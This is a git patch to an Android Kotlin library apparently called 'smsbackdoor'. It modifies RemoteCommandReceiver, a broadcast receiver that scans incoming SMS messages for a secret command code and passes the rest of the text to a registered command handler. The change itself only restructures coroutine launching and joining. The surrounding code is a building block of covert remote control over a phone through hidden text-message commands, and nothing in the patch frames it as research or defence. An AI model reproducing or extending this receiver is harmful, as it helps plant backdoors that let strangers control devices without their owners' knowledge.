From 0feb21547ee030aba615ff6817d7ff4c8f2a3b58 Mon Sep 17 00:00:00 2001
From: Chris Basinger <evilthreads669966@gmail.com>
Date: Mon, 5 Oct 2020 23:18:30 -0500
Subject: [PATCH] feature_coroutines (#5)

* coroutine launch builder function for command handler.

* join on coroutine builder before finishing async in RemoteCommandReceiver.kt
---
 .../com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt   | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt b/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt
index 186f1fc..910d320 100644
--- a/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt
+++ b/smsbackdoor/src/main/java/com/evilthreads/smsbackdoor/RemoteCommandReceiver.kt
@@ -22,6 +22,7 @@ import android.provider.Telephony
 import android.telephony.SmsMessage
 import kotlinx.coroutines.GlobalScope
 import kotlinx.coroutines.launch
+import kotlinx.coroutines.runBlocking
 
 /*
             (   (                ) (             (     (
@@ -56,8 +57,10 @@ internal class RemoteCommandReceiver: BroadcastReceiver(){
             }
             val result = goAsync()
             command.toString().takeIf { cmd -> cmd.contains(SmsBackdoor.commandCode) }?.let { cmd ->
-                GlobalScope.launch {
-                    SmsBackdoor.commandHandler?.invoke(cmd.split(SmsBackdoor.commandCode)[1])
+                runBlocking {
+                    GlobalScope.launch {
+                        SmsBackdoor.commandHandler?.invoke(cmd.split(SmsBackdoor.commandCode)[1])
+                    }.join()
                     result.finish()
                 }
             }